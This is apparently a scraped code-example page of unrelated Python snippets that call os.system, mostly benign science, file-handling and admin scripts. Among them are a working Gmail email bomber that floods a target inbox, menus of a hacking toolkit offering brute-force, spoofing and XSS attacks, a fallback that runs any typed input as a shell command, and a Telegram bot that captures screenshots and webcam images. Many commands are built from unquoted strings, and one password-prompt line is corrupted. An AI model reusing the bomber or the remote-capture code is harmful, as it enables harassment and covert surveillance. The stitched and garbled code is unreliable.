Ejemplo n.º 1
0
def main():
    s("cls")
    print("""
CAPITA -- v0.1 alpha

-- commands -- 
key     -> get a key
encrypt -> a file
decrypt -> a file

--------------------
	""")
    inputcommand = input("command: >> ")

    if inputcommand == "key":
        key()
    elif inputcommand == "encrypt":
        inputkey = input("key: >> ")
        encrFile(inputkey)
    elif inputcommand == "decrypt":
        inputkey = input("key: >> ")
        decrFile(inputkey)
    else:
        print("command isn't definded")
        ß(2)
        main()
Ejemplo n.º 2
0
def mail_bomber():
    s("clear")
    print(logo + fa.BOLD)
    print(fa.BOLD + """\n
                    +========================================+
                    |..........[◉] Email Bomber [◉]..........|
                    +========================================+\n\n""")
    to = input('\n[◉] Target Mail address : ')
    user = input('\n[◉] Sender Email : ')
    passwd = getpass.getpass('\n[◉] Password : '******'Subject: ')
    body = input('\n[◉] Message : ')
    total = input('\n[◉] Number of send : ')
    try:
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(user, passwd)
        for i in range(1, total + 1):
            subject = os.urandom(9)
            msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
            server.sendmail(user, to, msg)
            print("\r[✔] E-mails sent: %i" % i)
            sys.stdout.flush()
            server.quit()
            print('\n[✔] Done [✔] !!!')
    except smtplib.SMTPServerDisconnected:
        server
    except smtplib.SMTPAuthenticationError:
        print('\n[✘] The username or password you entered is incorrect.')
        sys.exit()
Ejemplo n.º 3
0
def formater(message):
    if message.document:
        if message.document.file_name.endswith('.py'):
            doc = bot.get_file(message.document.file_id)
            path = bot.download_file(doc.file_path)

            with open(f'loaded{message.chat.id}.py', 'wb') as file:
                file.write(path)
            file.close()
            sender(message.chat.id, 'Файл загружен! Идет обработка...')

            s(f'yapf -i loaded{message.chat.id}.py')
            sender(message.chat.id, 'Держи свой конфет!)')

            file = open(f'loaded{message.chat.id}.py', 'rb')
            bot.send_document(message.chat.id, file)
            file.close()
            s(f'del loaded{message.chat.id}.py')
        else:
            sender(message.chat.id,
                   'Отправь документ Python. Другой вид я не форматирую.')
        need_format = False
    else:
        sender(message.chat.id, 'Что-то пошло не так(')
    need_format = False
Ejemplo n.º 4
0
 def __init__(self):
     source = ap(
         description='¡Genera los valores exactos para algunas particiones!'
     )
     nope = source.add_mutually_exclusive_group()
     source.add_argument('M', type=int, help="Tamaño disponible")
     source.add_argument('-X',
                         type=float,
                         help="1° Porcentaje a calcular",
                         nargs='?',
                         const=16,
                         default=16)
     source.add_argument('-Y',
                         type=float,
                         help="2° Porcentaje a calcular",
                         nargs='?',
                         const=84,
                         default=84)
     source.add_argument('-A',
                         type=float,
                         help="3° Porcentaje a calcular",
                         nargs='?',
                         const=32,
                         default=32)
     source.add_argument('-B',
                         type=float,
                         help="4° Porcentaje a calcular",
                         nargs='?',
                         const=68,
                         default=68)
     source.add_argument('-R',
                         type=int,
                         help="Memoria RAM",
                         nargs='?',
                         const=0,
                         default=0)
     source.add_argument('-E',
                         type=int,
                         help="Tamaño de la partición EFI",
                         nargs='?',
                         const=261,
                         default=261)
     source.add_argument('-L',
                         type=int,
                         help="Espacio vacío al final del disco",
                         nargs='?',
                         const=1,
                         default=1)
     nope.add_argument(
         '-MB',
         help="Tipo de Unidad para medir el tamaño disponible",
         action="store_true")
     nope.add_argument(
         '-GB',
         help="Tipo de Unidad para medir el tamaño disponible",
         action="store_true")
     Values = self.Values()
     s("clear")
     print Values.linux(source.parse_args(), self.Funcs)
     print Values.windows(source.parse_args(), self.Funcs)
Ejemplo n.º 5
0
def doAll(data):
	currentCombination, size, noUsingCell = data
	names = {}  #for cell line to save filename to make combinations
	cellsToWorkWith = []
	for cell in combinations[currentCombination]:
		if cell != noUsingCell:
			cellsToWorkWith.append(cell)
	
	for cell in cellsToWorkWith:
		currentNoHistone = []
		f = open(mainFolder+"/"+cell+"/"+size+"/all_sorted.tsv","r")
		header = f.readline()[:-1].split("\t")
		f.close()
		positionOfMark = []
		marks = currentCombination.split("_")
		for mark in marks:
			cont = 0
			for h in header:
				if mark+".tsv_" in h:
					positionOfMark.append(cont)
				cont += 1
		f = open(mainFolder+"/"+cell+"/"+size+"/all_sorted.tsv","r")
		for line in f:
			line = line[:-1].split("\t")
			toPrint = ""
			for i in range(len(line)):
				if i not in positionOfMark:
					toPrint+=line[i]+"\t"
			toPrint = toPrint[:-1] #for the last \t

			s("echo "+toPrint+" >> "+mainFolder+"/"+cell+"/"+size+"/no_"+currentCombination+"_noCell_"+noUsingCell+"_noSortedForK562val.tsv")
		f.close()
		name = mainFolder+"/"+cell+"/"+size+"/no_"+currentCombination+"_noCell_"+noUsingCell+"_noSortedForK562val.tsv"
		s("sort -ur --temporary-directory=./temp "+name+" > "+mainFolder+"/"+cell+"/"+size+"/no_"+currentCombination+"_sorted.tsv")
Ejemplo n.º 6
0
    def __init__(self):
        s('clear')
        print(logo + fa.BOLD + '''\n
        [0] Info Gathering                               [1] Password Attack
        [2] Nmap Scripts                                 [3] Generate Wordlist
        [4] Mail Bombing                                 [5] Spoofing Attack
        [6] SQL Attacks                                  [7] Xss Attacks\n
        ''' + fa.RED + '''[99] Exit \n''' + fa.END)

        choice = input(Prompt)

        if choice == "0":
            InfoGathering()
        elif choice == "1":
            PasswordAttacks()
        elif choice == "2":
            NmapScripts()
        elif choice == "3":
            cupp()
        elif choice == "4":
            mail_bomber()
        elif choice == "5":
            Spoofing()
        elif choice == "6":
            print(fa.RED + "\ncoming soon\n" + fa.END)
        elif choice == "7":
            XssAttack()
        elif choice == "99":
            exit()
        else:
            try:
                print(os.system(choice))
            except:
                pass
Ejemplo n.º 7
0
 def __init__(self):
     s('clear')
     print(logo + fa.BOLD + '''\n\n
     [0] Ping Scan                                    [1] Quick Scan
     [2] Quick Scan Plus                              [3] Quick Traceroute
     [4] Intense Scan                                 [5] Intense scan(all ports)\n
     ''' + fa.YELLOW + '''[99] Return To Main Menu \n''' + fa.END)
     self.choose_scan()
Ejemplo n.º 8
0
def key():
    key = Fernet.generate_key()
    f = open("key.CAPITA", "wb")
    f.write(key)
    f.close()
    s("cls")
    print("wrote key to key.Capita file, save it somewhere else")
    ß(3)
    main()
Ejemplo n.º 9
0
def change_names(path, old_name_s, old_name_e, new_name_s, new_name_e):
    for i in range(1, 99999):
        file_old = path + old_name_s + str(i) + old_name_e
        if os.path.isfile(file_old):
            file_new = path + new_name_s + str(i) + new_name_e
            s('cp ' + file_old + ' ' + file_new)
        else:
            break
    return 0
Ejemplo n.º 10
0
 def __init__(self):
     s('clear')
     print(logo + fa.BOLD + '''\n
     [0] Cisco Brute Force                           [1] VNC Brute Force
     [2] FTP Brute Force                             [3] Gmail Brute Force
     [4] SSH Brute Force                             [5] Telnet Brute Force
     [6] YahooMail Brute Force                       [7] HotMail Brute Force
     [8] RDP Brute Force                             [9] MySQL Brute Force\n
     ''' + fa.YELLOW + '''[99] Return To Main Menu \n''' + fa.END)
     self.choose_attack()
Ejemplo n.º 11
0
def resizelvm():
    print(" Resize a LVM \n")
    lvm_to_resize = input(" Enter the lvm name to resize : ")
    size = input(
        " Enter the size , For exapmle if you want to increase the size of 1 GB input +1G or to decrease the size of 1GB input -1G : "
    )
    s("lvresize --size {} {}".format(size, lvm_to_resize))
    print("\n")
    s("lvdisplay -C")
    print("\n")
Ejemplo n.º 12
0
 def test_update_config_writes_an_expected_file(self):
     self.being_tested.config = {'attr1': 'value1', 'attr2': 'value2', 'attrN': 'valueN'}
     self.being_tested.update_config()
     with open(self.file_name, 'r') as f:
         md5_of_config_file = hashlib.md5()
         md5_of_config_file.update(f.read())
         md5_of_expected_text = hashlib.md5()
         md5_of_expected_text.update('attrN=valueN\nattr2=value2\nattr1=value1\n')
         self.assertEqual(md5_of_config_file.digest(), md5_of_expected_text.digest())
     s('rm ' + self.file_name)
Ejemplo n.º 13
0
def screen(message):
    if message.chat.id == chat_id_1 or message.chat.id == chat_id_2:
        try:
            scr('screenshot.jpeg')
            file = open('screenshot.jpeg', 'rb')
            send_photo(message.chat.id, file)
            file.close()
            s('del screenshot.jpeg')
        except:
            sender(message.chat.id, 'Error!')
Ejemplo n.º 14
0
def doAll(folder):
	files = glob(folder+"/*.tsv")
	command = "cat "
	for f in files:
		command+=f+"\t"
	command = command[:-1]+" > "+folder+"/all_no_sorted.tsv"
	s(command)

	command = "sort -ur --temporary-directory=./temp "+folder+"/all_no_sorted.tsv > "+folder+"/all_sorted.tsv"
	s(command)
Ejemplo n.º 15
0
 def __init__(self):
     s('clear')
     print(logo + fa.BOLD + '''\n\n
     [0] Cross Site Request Forgery                      [1] Smb_ms17_o10
     [2] Dns Brutforce                                   [3] Firewall Bypass
     [4] Smb_ms08_067                                    [5] Smb_ms07_029
     [6] Rdp_ms12_020                                    [7] Ssl-heartbleed
     [8] Mysql dump hashes                               [9] Smtp-enum-users
     [10] Smb Brutforce                                  [11] Wordpress Brutforce\n
     ''' + fa.YELLOW + '''[99] Return To Main Menu \n''' + fa.END)
     self.choose_scan()
Ejemplo n.º 16
0
def download(data):
    #	print(data)
    folder = data[6] + "/" + data[4] + "/" + data[18]
    try:
        os.makedirs(folder)
    except:
        pass
    toDown = data[42]
    nameDown = data[42].split("/")[-1]
    s("wget " + toDown + " -P " + folder)
    s("gunzip " + folder + "/" + nameDown)
Ejemplo n.º 17
0
def change_coord_swarp(fits_in, fits_ou):
    """
    change the coordinate of fits image using swarp
    :param list_img:
    :param fits_ou:
    :return:
    """
    s('swarp ' + fits_in + \
      ' -COMBINE N -IMAGEOUT_NAME ' + fits_ou + \
      ' -CELESTIAL_TYPE GALACTIC -PROJECTION_TYPE CAR -SUBTRACT_BACK N' + \
      ' -COPY_KEYWORDS TELESCOP,MWAVER,MWADATE,BTYPE,BUNIT,BMAJ,BMIN,BPA,FREQ' + \
      ' -MEM_MAX 1024 -COMBINE_BUFSIZE 1024 -XML_NAME swarp.xml')
Ejemplo n.º 18
0
def cat_copy(line) :
    line =  line.strip()
    arx_id, path = line.split(',')

    if path.rfind('.xml') == -1 :
        do_cat = 'cat '+path+'/*.xml >> '+a_dir + arx_id+'.xml'
        s(do_cat)
        print '{} catenated'.format(arx_id)
    else :
        do_cp = 'cp ' + path + ' ' + a_dir
        s(do_cp)
        print '{} copied'.format(arx_id)
Ejemplo n.º 19
0
def change_beam_convol_miriad(fits_in, fits_ou, fits_tp=None, bmaj=None, bmin=None, bpa=None):
# def change_beam_convol_miriad(fits_in, fits_ou, fits_tp=None):
    """
    change the beam size of a fits image using convol from miriad
    this also changed the pixel size, the pixel size in the output fits image is the same with that in the input fits file
    WARNING: Convol does not do a very good job with masked images
    :param fits_in: the input fits image file
    :param fits_ou: the output fits image file with beam changed
    :param fits_tp: the template fits image file for providing the beam information
    :param bmaj: the BMAJ for the output image if fits_tp=None; arcsec
    :param bmin: the BMIN for the output image if fits_tp=None; arcsec
    :param bpa: the BPA for the output image if fits_tp=None; deg
    :return: 0
    """
    # read the beam from the template fits file
    if fits_tp != None:
        fits_tem_open=fits.open(fits_tp)
        fits_tem_head = fits_tem_open[0].header
        bmaj = str(fits_tem_head['BMAJ']*3600.)  # arcsec
        bmin = str(fits_tem_head['BMIN']*3600.)  # arcsec
        bpa = str(fits_tem_head['BPA'])  # deg

    # do the convert
    s('fits op=xyin in=' + fits_in + ' out=$HOME/fits_in.im')
    s('convol map=$HOME/fits_in.im fwhm='+str(bmaj)+','+str(bmin)+' pa='+str(bpa)+' out=$HOME/fits_ou.im options="final"')
    s('fits op=xyout in=$HOME/fits_ou.im out='+fits_ou)
    s('rm -r $HOME/fits_in.im $HOME/fits_ou.im')

    return 0
Ejemplo n.º 20
0
def main(stdscr):
    c.curs_set(0)
    c.init_pair(1, c.COLOR_RED, c.COLOR_BLACK)
    c.init_pair(2, c.COLOR_YELLOW, c.COLOR_BLACK)
    c.init_pair(3, c.COLOR_GREEN, c.COLOR_BLACK)
    c.init_pair(4, c.COLOR_WHITE, c.COLOR_BLACK)
    while (1):
        y, x = stdscr.getmaxyx()
        s(command)
        file = open(".meminf.log", "r+")
        file = file.readlines()
        #getting the data from meminf.log
        totalmem = int(file[0].split()[1])
        usedmem = totalmem - int(file[2].split()[1])
        #prc is the percentage of used memory
        prc = round((usedmem * 100) / totalmem, 1)
        prc = "%" + str(prc)
        barlen = (usedmem * 20) // totalmem
        #converting kilobyte to gigabyte
        usedmem = round(usedmem / pow(1024, 2), 1)
        totalmem = round(totalmem / pow(1024, 2), 1)
        using = str(usedmem) + "/" + str(totalmem) + "GB"
        #ulen is the half of the length of using why? bc if i wrote it in addstr it will look crazy long
        ulen = len(using) // 2
        #I used square because it gives bar a vibe
        bar = "["
        #creating the bar according to memory usage
        for i in range(barlen):
            bar += "█"
        for i in range(20 - barlen):
            bar += " "
        bar += "]"
        #change the color pair according to memory usage
        if barlen < 5:
            color = c.color_pair(4)
        if barlen > 5:
            color = c.color_pair(3)
        if barlen > 10:
            color = c.color_pair(2)
        if barlen > 15:
            color = c.color_pair(1)


#the part that we writing our bar and percentage
        stdscr.addstr(y // 2, x // 2 - 11, bar, color)
        stdscr.addstr(y // 2 - 1, x // 2 - len(prc) // 2, prc, color)
        stdscr.addstr(y // 2 + 1, x // 2 - ulen, using, c.color_pair(4))
        stdscr.refresh()
        stdscr.clear()
Ejemplo n.º 21
0
    def __init__(self):
        s('clear')
        print(logo)
        self.installDir = toolDir + "setoolkit"
        self.gitRepo = "https://github.com/trustedsec/social-engineer-toolkit.git"

        if not self.installed():
            os.system("apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \
                python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl")
            os.system("git clone --depth=1 %s %s" % (self.gitRepo, self.installDir))
            os.system("cd %s && python setup.py install" % self.installDir)
            self.run()
        else:
            print("alreadyInstalled")
            self.run()
Ejemplo n.º 22
0
def camera(message):
    if message.chat.id == chat_id_1 or message.chat.id == chat_id_2:
        cap = cv2.VideoCapture(0)

        for i in range(30):
            cap.read()

        ret, frame = cap.read()

        cv2.imwrite('cam.jpg', frame)
        cap.release()

        with open('cam.jpg', 'rb') as img:
            bot.send_photo(message.chat.id, img)

        s('del cam.jpg')
Ejemplo n.º 23
0
def decrFile(key):
    filename = input("FileName or FileLocation (with ending): >> ")
    f = open(filename)
    content = f.read()
    f.close()

    contentenc = content.encode()
    F = Fernet(key)
    endfile = F.decrypt(contentenc)

    f = open(filename.strip(".CAPITA"), "w")
    f.write(endfile.decode())
    f.close()
    s("cls")
    print("decrFile success")
    ß(3)
    main()
Ejemplo n.º 24
0
def main():
	def readCSV():
		fileName='thoughts.csv'
		with open(fileName) as csvfile:
			readCSV = csv.reader(csvfile, delimiter='\n')
			finished=[]
			for row in readCSV:
				finished.append(row)
		return finished

	while True:
		file = readCSV()
		randIndex = r(0, (len(file)-1))
		s('cls')
		if input("Do you want to think some more? ") == "y":
			print(file[randIndex][0])
			playsound("music.mp3")
Ejemplo n.º 25
0
def rsync_rm():
    from os import system as s

    try:
        rsync = "rsync -av %s/ %s" % (datebackuppath, corepath)
        s(rsync)
    except Exception as e:
        message = "Failed to rsync folders %s with %s.  Error: %s" % (corepath, datebackuppath, e)
        logger.error(message)
        try:
            send_email(message, configData, True)
        except Exception as e:
            message = "Failed to send Auditor report email.  Error: %s" % e
            logger.error(message)
    try:
        remove = "rm -r %s" % datebackuppath
        s(remove)
    except Exception as e:
        message = "Failed to remove dated folder.  Error: %s" % e
        logger.error(message)
Ejemplo n.º 26
0
def download_ads_bibcode(bibcode):
    link = 'http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=' + bibcode + '\&data_type=BIBTEX\&db_key=AST\&nocookieset=1'
    s('wget -O /Users/hongquansu/Downloads/bib.html ' + link)

    # get first author
    with open('/Users/hongquansu/Downloads/bib.html') as f0:
        for i, line in enumerate(f0):
            if i == 6:
                author_name = line.split('{{')[1].split('}')[0]
                break

    # write bibcode to bibtex file
    with open('/Users/hongquansu/Downloads/bib.html') as f1:
        with open('/Users/hongquansu/Dropbox/references/bibtex.bib',
                  'aw') as f2:
            for i, line in enumerate(f1):
                if i == 5:
                    line5_split = line.split('{')
                    line5_add_name = line5_split[
                        0] + '{' + author_name + line5_split[1]
                    f2.write(line5_add_name)
                elif i > 5:
                    f2.write(line)
    folders = glob("../02*/CTCF/*/*/")
    for folder in folders:
        aux = folder.split("/")
        cell = aux[-3]
        size = int(aux[-2])
        Class = "CTCF"
        command = "python3.6 00_doFullVectors.py -f " + folder + " -n 4 -C " + Class + " "
        if size != 150:
            if size < 1000:
                sizeToUse = str(int(finalSize2 / size))
                command += "-lv " + sizeToUse + " -rv " + sizeToUse
            else:
                sizeToUse = str(int(finalSize1 / size))
                command += "-lv " + sizeToUse + " -rv " + sizeToUse

            command += " -o ./" + cell + "/" + str(size) + "/ "
            command += " -fl "

            file0 = open(glob(folder + "/*.tsv")[0], "r")
            cont = 0
            dataToUse = ""
            for line in file0:
                if cont == 0:
                    dataToUse = line[:-1].split("\t")
                    cont = 1
            for use in dataToUse:
                if use != Class:
                    command += use + " "

            s(command)
Ejemplo n.º 28
0
def openrandom_player():
    s('python random_player.py')
Ejemplo n.º 29
0
def openserver():
    s('python server.py')
Ejemplo n.º 30
0
#!/usr/bin/env python
#
# Copyright (c) 2008 Tom Adams
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
# AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
# PERFORMANCE OF THIS SOFTWARE.

from xml.etree import ElementTree
from urllib2 import urlopen
from os import system as s
u = 'http://twitter.com/statuses/user_timeline.xml?count=1&id=' + 'holizz'
m = ElementTree.XML(urlopen(u).read()).find('status').find('text').text
s('gajim-remote change_status `gajim-remote get_status` "%s"'%m.encode('utf8'))
Ejemplo n.º 31
0
for gr in range(len(Index_Range)):
    for sgr in range(len(Index_Range[gr])):
        #IDs = (Mass_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]])
        Mstell = np.sum(
            Mass_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]])
        if (Mstell > Mcut):
            Sel_Group.append(gr + 1)
            Sel_SubGroup.append(sgr)
            Sel_MStell.append(np.log10(Mstell) + 10)
            Sel_Shell.append(
                F.Shell(
                    pos_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]],
                    Mass_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]],
                    Rad, L, NBin, CenterOfPotential[gr][sgr]))

Sel_Shell = np.array(Sel_Shell)

try:
    s('mkdir ' + sim_name)
except:
    pass

np.save(sim_name + '/' + sim_name + '_sn' + str(Snap) + '_Shell_cop',
        Sel_Shell)
np.save(sim_name + '/' + sim_name + '_sn' + str(Snap) + '_SubGroup_cop',
        Sel_SubGroup)
np.save(sim_name + '/' + sim_name + '_sn' + str(Snap) + '_MStell_cop',
        Sel_MStell)
np.save(sim_name + '/' + sim_name + '_sn' + str(Snap) + '_Group_cop',
        Sel_Group)
Ejemplo n.º 32
0
from os import system as s
print(
    "Enter the options\n1.Nearest Server\n2.US\n3.UK\n4.Taiwan\n5.Select Other Countries\n6.Disconnect"
)
print("7.OtherCommands\n8.Exit")
src = "nordvpn "
while (True):
    try:
        n = int(input())
        if (n == 1):
            s(src + "c")
        elif (n == 2):
            s(src + "c us")
        elif (n == 3):
            s(src + "c uk")
        elif (n == 4):
            s(src + "c taiwan")
        elif (n == 5):
            s(src + "countries")
            print("Type the Country name:")
            s(src + "c " + input())
        elif (n == 6):
            s(src + "d")
        elif (n == 7):
            s(src + "h")
            print("nordvpn", end=" ")
            s(src + input())
        else:
            break
        break
    except:
Ejemplo n.º 33
0
	def tearDown(self):
		s("rm *foobar*")
Ejemplo n.º 34
0
	def test_DelGBaseGetsRidOfTheTableAndModelFiles(self):
		self.beingTested.DelGBase('foobar')
		self.assertRaises(IOError, open, 'foobar.gbs', 'r')
		self.assertRaises(IOError, open, 'foobar-testgbase.gbs', 'r')
		s("touch foobar")
Ejemplo n.º 35
0
#!/usr/bin/python3.2

"""meant to replace shell script
    since shell cannot control which file to tar
    conviniently.
    use os.system("COMMAND")
    the file to tar is specified
    in order to reuse
    modify the content in st_list
"""


from os import system as s

st_list = ("ipython",
        "iconfig",
        'imanual',
        'wiki',
        'english',
        'ebook',
        'downloads',
        'bin')

for st in st_list:
    s('tar -cf {0}.tar.gz {0}'.format(st))


from os import system as s
from subprocess import call
import sys #to receive arguments from PCAsubcontrol.py

header = """#!/bin/sh
#PBS -l nodes=1
#PBS -l walltime=10:00:00
#PBS -V
#PBS -M [email protected]
cd $PBS_O_WORKDIR
"""

bp=int(sys.argv[1]) #receive arguments from PCAsubcontrol.py

j = "/home/juanwei/PCAfiles/1HUper200/%(bp)i/job_PCA_%(bp)i" % locals()  #filename of the job file, each in different folder so that ref_frame don't mixed up
with open(j, "w") as x:
    x.write("%(header)s /home/juanwei/lib/python-2.7.5/bin/python /home/juanwei/PCAfiles/1HUper200/PCArunall_nProtein.py %(bp)i\n " % locals()) #passing argument bp to PCArunall.py
s("qsub %(j)s" % locals())
Ejemplo n.º 37
0
    def test_config_handler_returns_true_when_the_config_exists(self):
        s('touch ' + self.file_name)
        self.assertTrue(self.being_tested.config_file_exists())
	s('rm ' + self.file_name)
Ejemplo n.º 38
0
from os import system as s
from urllib.request import urlopen as u
from time import *
while 1:
	d=0
	t=time()
	while 1:
		try:
			u('https://vk.com',timeout=3600).read()
			break
		except:
			pass
	t=time()-t
	n=16/(max(d-t,0)+1)
	sleep(n)
	s('termux-notification -c '+str(t))
	d=d*.9+t*.1
Ejemplo n.º 39
0
			def change_wallpaper(uri):
				s('gsettings set org.gnome.desktop.background picture-uri "file://{0}"'.format(uri))
Ejemplo n.º 40
0
################################  MAIN  ##################################


Index_Range = F.Get_PartIndexRange(num_St,num_St_SH,NumOfSubhalos)

Sel_Group 		= []
Sel_SubGroup 	= []
Sel_MStell 		= []
Sel_Shell 		= []

for gr in range(len(Index_Range)):
	for sgr in range(len(Index_Range[gr])):
		#IDs = (Mass_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]])
		Mstell = np.sum(Mass_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]])
		if (Mstell > Mcut):
			Sel_Group.append(gr+1)
			Sel_SubGroup.append(sgr)
			Sel_MStell.append(np.log10(Mstell)+10)
			Sel_Shell.append(F.Shell(pos_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]], Mass_St[Index_Range[gr][sgr][0]:Index_Range[gr][sgr][1]], Rad, L,NBin))

Sel_Shell = np.array(Sel_Shell)

try: s('mkdir '+sim_name)
except: pass

np.save(sim_name+'/'+sim_name+'_sn'+str(Snap)+'_Shell',Sel_Shell)
np.save(sim_name+'/'+sim_name+'_sn'+str(Snap)+'_SubGroup',Sel_SubGroup)
np.save(sim_name+'/'+sim_name+'_sn'+str(Snap)+'_MStell',Sel_MStell)
np.save(sim_name+'/'+sim_name+'_sn'+str(Snap)+'_Group',Sel_Group)

Ejemplo n.º 41
0
			def change_wallpaper(uri):
				s("gconftool-2 --type=string --set /desktop/gnome/background/picture_filename {0}".format(uri))
Ejemplo n.º 42
0
from os import system as s
from os import chdir as c

print('AUTOMATIZACION GIT'
      '\n'
      '\n\t[1] Actualizar Repositorios'
      '\n\t[2] Subir Cambios'
      '\n')
opcion = int(input('Selecciona una opcion: '))

if opcion == 1:
    c('D:\Archivos\[Git] Progra Avanzada (N2)\contenidos')
    s('git pull')

    c('D:\Archivos\[Git] Progra Avanzada (N2)\RickyUC-iic2233-2017-1')
    s('git pull')

    c('D:\Archivos\[Git] Progra Avanzada (N2)\Syllabus')
    s('git pull')

    c('D:\Archivos\[Git] Progra Avanzada (N2)\Programas')
    s('git pull')

elif opcion == 2:
    print(
        'ADVERTENCIA: \nEste programa carga todos los archivos del repositorio RickyUC-iic2233-2017-1 sin discriminar'
        'bajo ninguna categoria.')
    continuar = int(input('¿Deseas continuar? si[1]/no[2] '))

    if continuar == 1:
        c('D:\Archivos\[Git] Progra Avanzada (N1)\RickyUC-iic2233-2017-1')
Ejemplo n.º 43
0
	def change_wallpaper(uri):
		s('osascript -e \'tell application "Finder" to set desktop picture to POSIX file "{0}"\''.format(uri))
        if size != 150:
            if size < 1000:
                sizeToUse = str(int(finalSize2 / size))
                command += "-lv " + sizeToUse + " -rv " + sizeToUse
            else:
                sizeToUse = str(int(finalSize1 / size))
                command += "-lv " + sizeToUse + " -rv " + sizeToUse

            command += " -o ./" + Class + "/" + cell + "/" + str(size) + "/ "
            command += " -fl "
            cont = 0
            file0 = open(glob(folder + "/*.tsv")[0], "r")
            dataToUse = ""
            for line in file0:
                if cont == 0:
                    dataToUse = line[:-1].split("\t")
                    cont = 1
            file0.close()
            for use in dataToUse:
                if use != Class:
                    command += use + " "
            f = open("job.sh", "w")
            f.write("#!/bin/bash\n")
            f.write("#SBATCH -c 8\n")
            f.write("#SBATCH -e " + str(cont) + ".err")
            f.write("#SBATCH --job-nam=job" + str(job) + "\n")
            f.write(command)
            f.close()
            s("sbatch job.sh")
            job += 1
from os import system as s # s will serve as an easy way to send a command to the system
from os import path, remove, listdir
import hashlib, shutil, ftplib, gnupg

news = listdir('/REPODIRECTORY/new') # Taking inventory of all new packages, placed in a "/new" directory
for entry in news:
	enpath = '/REPODIRECTORY/new/%s' % entry
	if path.isdir(enpath): # Checking to see if any packages (in directory form, with the DEBIAN directory) have yet to be packaged
		makedeb = 'dpkg -b %s' % enpath
		s(makedeb) # Packaging any not-yet-packaged packages
		shutil.rmtree(enpath) # Deleting the now-packaged package's folder

news = listdir('/REPODIRECTORY/new') # Taking inventory of all new packages
for file in news:
	newf = path.join('/REPODIRECTORY/new', file)
	newfm = path.join('/REPODIRECTORY', file)
	shutil.move(newf, newfm) # Moving all new packages into the repo root, so they can be accounted for when creating the Packages index

remove('Packages') # Removing the old Packages index files
remove('Packages.gz')
remove('Packages.bz2')

s('sudo dpkg-scanpackages -m . /dev/null >Packages') # Creating the Pacakges file
s('bzip2 -fks Packages') # Creating the Packages.bz2 file
s('gzip -f Packages') # Turning the Packages file into the Packages.gz file
s('sudo dpkg-scanpackages -m . /dev/null >Packages') # Creating another Packages file

m1 = hashlib.md5(open('Packages').read()).hexdigest() # Calculating checksums for each Packages index file
m2 = hashlib.md5(open('Packages.gz').read()).hexdigest()
m3 = hashlib.md5(open('Packages.bz2').read()).hexdigest()